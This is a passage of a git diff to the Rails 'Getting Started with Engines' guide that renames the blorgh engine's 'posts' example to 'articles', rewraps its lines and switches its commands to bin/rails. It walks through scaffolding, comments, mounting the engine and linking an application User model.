+What this isolation of the namespace means is that a model generated by a call
+to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but
+instead be namespaced and called `Blorgh::Article`. In addition, the table for the
+model is namespaced, becoming `blorgh_articles`, rather than simply `articles`.
+Similar to the model namespacing, a controller called `ArticlesController` becomes
+`Blorgh::ArticlesController` and the views for that controller will not be at
+`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
 
 ```bash
-rails g model
+$ bin/rails g model
 ```
 
-Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
 
-#### `test` directory
+#### `test` Directory
 
-The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
 
 ```ruby
 Rails.application.routes.draw do
@@ -169,131 +276,184 @@ Rails.application.routes.draw do
 end
 ```
 
-This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
 
-In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests.
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
 
 Providing engine functionality
 ------------------------------
 
-The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+The engine that this guide covers provides submitting articles and commenting
+functionality and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
 
-### Generating a post resource
+### Generating an Article Resource
 
-The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+The first thing to generate for a blog engine is the `Article` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
 
 ```bash
-$ rails generate scaffold post title:string text:text
+$ bin/rails generate scaffold article title:string text:text
 ```
 
 This command will output this information:
 
 ```
 invoke  active_record
-create    db/migrate/[timestamp]_create_blorgh_posts.rb
-create    app/models/blorgh/post.rb
+create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    app/models/blorgh/article.rb
 invoke    test_unit
-create      test/models/blorgh/post_test.rb
-create      test/fixtures/blorgh/posts.yml
- route  resources :posts
+create      test/models/blorgh/article_test.rb
+create      test/fixtures/blorgh/articles.yml
+invoke  resource_route
+ route    resources :articles
 invoke  scaffold_controller
-create    app/controllers/blorgh/posts_controller.rb
+create    app/controllers/blorgh/articles_controller.rb
 invoke    erb
-create      app/views/blorgh/posts
-create      app/views/blorgh/posts/index.html.erb
-create      app/views/blorgh/posts/edit.html.erb
-create      app/views/blorgh/posts/show.html.erb
-create      app/views/blorgh/posts/new.html.erb
-create      app/views/blorgh/posts/_form.html.erb
+create      app/views/blorgh/articles
+create      app/views/blorgh/articles/index.html.erb
+create      app/views/blorgh/articles/edit.html.erb
+create      app/views/blorgh/articles/show.html.erb
+create      app/views/blorgh/articles/new.html.erb
+create      app/views/blorgh/articles/_form.html.erb
 invoke    test_unit
-create      test/controllers/blorgh/posts_controller_test.rb
+create      test/controllers/blorgh/articles_controller_test.rb
 invoke    helper
-create      app/helpers/blorgh/posts_helper.rb
-invoke      test_unit
-create        test/helpers/blorgh/posts_helper_test.rb
+create      app/helpers/blorgh/articles_helper.rb
 invoke  assets
 invoke    js
-create      app/assets/javascripts/blorgh/posts.js
+create      app/assets/javascripts/blorgh/articles.js
 invoke    css
-create      app/assets/stylesheets/blorgh/posts.css
+create      app/assets/stylesheets/blorgh/articles.css
 invoke  css
 create    app/assets/stylesheets/scaffold.css
 ```
 
-The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class.
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_articles` rather than the
+usual `create_articles`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due
+to the `isolate_namespace` call within the `Engine` class.
 
-Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/article_test.rb` (rather than
+`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml`
+(rather than `test/fixtures/articles.yml`).
 
-After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :articles`, turning the
+`config/routes.rb` file for the engine into this:
 
 ```ruby
 Blorgh::Engine.routes.draw do
-  resources :posts
+  resources :articles
 end
 ```
 
-Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of
-this guide describes it in details.
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
 
-Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::ArticlesController` (at
+`app/controllers/blorgh/articles_controller.rb`) and its related views at
+`app/views/blorgh/articles`. This generator also generates a test for the
+controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper
+(`app/helpers/blorgh/articles_controller.rb`).
 
-Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
 
 ```ruby
 module Blorgh
-  class PostsController < ApplicationController
+  class ArticlesController < ApplicationController
     ...
   end
 end
 ```
 
-NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+NOTE: The `ApplicationController` class being inherited from here is the
+`Blorgh::ApplicationController`, not an application's `ApplicationController`.
 
-The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced:
 
 ```ruby
 module Blorgh
-  class PostsHelper
+  module ArticlesHelper
     ...
   end
 end
 ```
 
-This helps prevent conflicts with any other engine or application that may have a post resource as well.
+This helps prevent conflicts with any other engine or application that may have
+an article resource as well.
 
-Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later.
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/articles.js` and
+`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little
+later.
 
-By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+By default, the scaffold styling is not applied to the engine because the
+engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't
+load it. To make the scaffold styling apply, insert this line into the `<head>`
+tag of this layout:
 
 ```erb
 <%= stylesheet_link_tag "scaffold" %>
 ```
 
-You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+You can see what the engine has so far by running `rake db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/articles` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
 
-If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Article` model is namespaced, so to
+reference it you must call it as `Blorgh::Article`.
 
 ```ruby
->> Blorgh::Post.find(1)
-=> #<Blorgh::Post id: 1 ...>
+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
 ```
 
-One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+One final thing is that the `articles` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of articles. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
 
 ```ruby
-root to: "posts#index"
+root to: "articles#index"
 ```
 
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+Now people will only need to go to the root of the engine to see all the articles,
+rather than visiting `/articles`. This means that instead of
+`http://localhost:3000/blorgh/articles`, you only need to go to
+`http://localhost:3000/blorgh` now.
 
-### Generating a comments resource
+### Generating a Comments Resource
 
-Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+Now that the engine can create new articles, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the articles scaffold to display
+comments and allow people to create new ones.
 
-Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: a `article_id` integer
+and `text` text column.
 
 ```bash
-$ rails generate model Comment post_id:integer text:text
+$ bin/rails generate model Comment article_id:integer text:text
 ```
 
 This will output the following:
@@ -307,16 +467,26 @@ create      test/models/blorgh/comment_test.rb
 create      test/fixtures/blorgh/comments.yml
 ```
 
-This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
+
+```bash
+$ rake db:migrate
+```
 
-To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and
+add this line before the "Edit" link:
 
 ```html+erb
 <h3>Comments</h3>
-<%= render @post.comments %>
+<%= render @article.comments %>
 ```
 
-This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Article` model, which there isn't right now. To define one, open
+`app/models/blorgh/article.rb` and add this line into the model:
 
 ```ruby
 has_many :comments
@@ -326,25 +496,32 @@ Turning the model into this:
 
 ```ruby
 module Blorgh
-  class Post < ActiveRecord::Base
+  class Article < ActiveRecord::Base
     has_many :comments
   end
 end
 ```
 
-NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
 
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+Next, there needs to be a form so that comments can be created on an article. To
+add this, put this line underneath the call to `render @article.comments` in
+`app/views/blorgh/articles/show.html.erb`:
 
 ```erb
 <%= render "blorgh/comments/form" %>
 ```
 
-Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
 
 ```html+erb
 <h3>New comment</h3>
-<%= form_for [@post, @post.comments.build] do |f| %>
+<%= form_for [@article, @article.comments.build] do |f| %>
   <p>
     <%= f.label :text %><br>
     <%= f.text_area :text %>
@@ -353,20 +530,24 @@ Next, the partial that this line will render needs to exist. Create a new direct
 <% end %>
 ```
 
-When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/articles/:article_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :articles` line
+inside `config/routes.rb` into these lines:
 
 ```ruby
-resources :posts do
+resources :articles do
   resources :comments
 end
 ```
 
 This creates a nested route for the comments, which is what the form requires.
 
-The route now exists, but the controller that this route goes to does not. To create it, run this command:
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
 
 ```bash
-$ rails g controller comments
+$ bin/rails g controller comments
 ```
 
 This will generate the following things:
@@ -379,8 +560,6 @@ invoke  test_unit
 create    test/controllers/blorgh/comments_controller_test.rb
 invoke  helper
 create    app/helpers/blorgh/comments_helper.rb
-invoke    test_unit
-create      test/helpers/blorgh/comments_helper_test.rb
 invoke  assets
 invoke    js
 create      app/assets/javascripts/blorgh/comments.js
@@ -388,135 +567,203 @@ invoke    css
 create      app/assets/stylesheets/blorgh/comments.css
 ```
 
-The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+The form will be making a `POST` request to `/articles/:article_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
 
 ```ruby
 def create
-  @post = Post.find(params[:post_id])
-  @comment = @post.comments.create(comment_params)
+  @article = Article.find(params[:article_id])
+  @comment = @article.comments.create(comment_params)
   flash[:notice] = "Comment has been created!"
-  redirect_to posts_path
+  redirect_to articles_path
 end
 
 private
-def comment_params
-  params.require(:comment).permit(:text)
-end
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
 ```
 
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
 
 ```
-Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
-  * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
-  * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
 ```
 
-The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
 
-This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
 
 ```erb
 <%= comment_counter + 1 %>. <%= comment.text %>
 ```
 
-The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+The `comment_counter` local variable is given to us by the `<%= render
+@article.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
 
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
 
-Hooking into an application
+Hooking Into an Application
 ---------------------------
 
-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for articles and comments within the engine.
 
-### Mounting the engine
+### Mounting the Engine
 
-First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
 
 ```bash
 $ rails new unicorn
 ```
 
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
 
 ```ruby
 gem 'devise'
 ```
 
-However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
 
 ```ruby
 gem 'blorgh', path: "/path/to/blorgh"
 ```
 
-As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
 
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
 
 ```ruby
 mount Blorgh::Engine, at: "/blog"
 ```
 
-This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
 
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
 
 ### Engine setup
 
-The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+The engine contains migrations for the `blorgh_articles` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application use this command:
 
 ```bash
 $ rake blorgh:install:migrations
 ```
 
-If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
 
 ```bash
 $ rake railties:install:migrations
 ```
 
-This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
 
 ```bash
-Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh
 Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
 ```
 
-The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
 
-To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+To run these migrations within the context of the application, simply run `rake
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+articles will be empty. This is because the table created inside the application is
+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
 
-If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
 
 ```bash
 rake db:migrate SCOPE=blorgh
 ```
 
-This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
 
 ```bash
 rake db:migrate SCOPE=blorgh VERSION=0
 ```
 
-### Using a class provided by the application
+### Using a Class Provided by the Application
 
-#### Using a model provided by the application
+#### Using a Model Provided by the Application
 
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making articles and comments
+have authors would make a lot of sense.
 
-A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+A typical application might have a `User` class that would be used to represent
+authors for an article or a comment. But there could be a case where the
+application calls this class something different, such as `Person`. For this
+reason, the engine should not hardcode associations specifically for a `User`
+class.
 
-To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application (we'll get into making this
+configurable further on). It can be generated using this command inside the
+application:
 
 ```bash
 rails g model user name:string
 ```
 
-The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+The `rake db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
 
-Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+Also, to keep it simple, the articles form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the article with the found or
+created `User` object.
 
-First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
 
 ```html+erb
 <div class="field">
@@ -525,17 +772,24 @@ First, the `author_name` text field needs to be added to the `app/views/blorgh/p
 </div>
 ```
 
-Next, we need to update our `Blorgh::PostController#post_params` method to permit the new form parameter:
+Next, we need to update our `Blorgh::ArticleController#article_params` method to
+permit the new form parameter:
 
 ```ruby
-def post_params
-  params.require(:post).permit(:title, :text, :author_name)
+def article_params
+  params.require(:article).permit(:title, :text, :author_name)
 end
 ```
 
-The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+The `Blorgh::Article` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that article's `author`
+before the article is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
 
-To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_save` call into
+`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
 
 ```ruby
 attr_accessor :author_name
@@ -549,54 +803,70 @@ private
   end
 ```
 
-By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_articles` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_articles` table.
 
 To generate this new column, run this command within the engine:
 
 ```bash
-$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
 ```
 
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
 
-This migration will need to be run on the application. To do that, it must first be copied using this command:
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
 
 ```bash
 $ rake blorgh:install:migrations
 ```
 
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
 
 ```
-NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+NOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_articles.rb from blorgh
 ```
 
-Run this migration using this command:
+Run the migration using:
 
 ```bash
 $ rake db:migrate
 ```
 
-Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the `users` table - with a post, represented by the `blorgh_posts` table from the engine.
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with an article,
+represented by the `blorgh_articles` table from the engine.
 
-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+Finally, the author's name should be displayed on the article's page. Add this code
+above the "Title" output inside `app/views/blorgh/articles/show.html.erb`:
 
 ```html+erb
 <p>
   <b>Author:</b>
-  <%= @post.author %>
+  <%= @article.author %>
 </p>
 ```
 
-By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+By outputting `@article.author` using the `<%=` tag, the `to_s` method will be
+called on the object. By default, this will look quite ugly:
 
 ```
 #<User:0x00000100ccb3b0>
 ```
 
-This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+This is undesirable. It would be much better to have the user's name there. To
+do this, add a `to_s` method to the `User` class within the application:
 
 ```ruby
 def to_s
@@ -604,50 +874,77 @@ def to_s
 end
 ```
 
-Now instead of the ugly Ruby object output the author's name will be displayed.
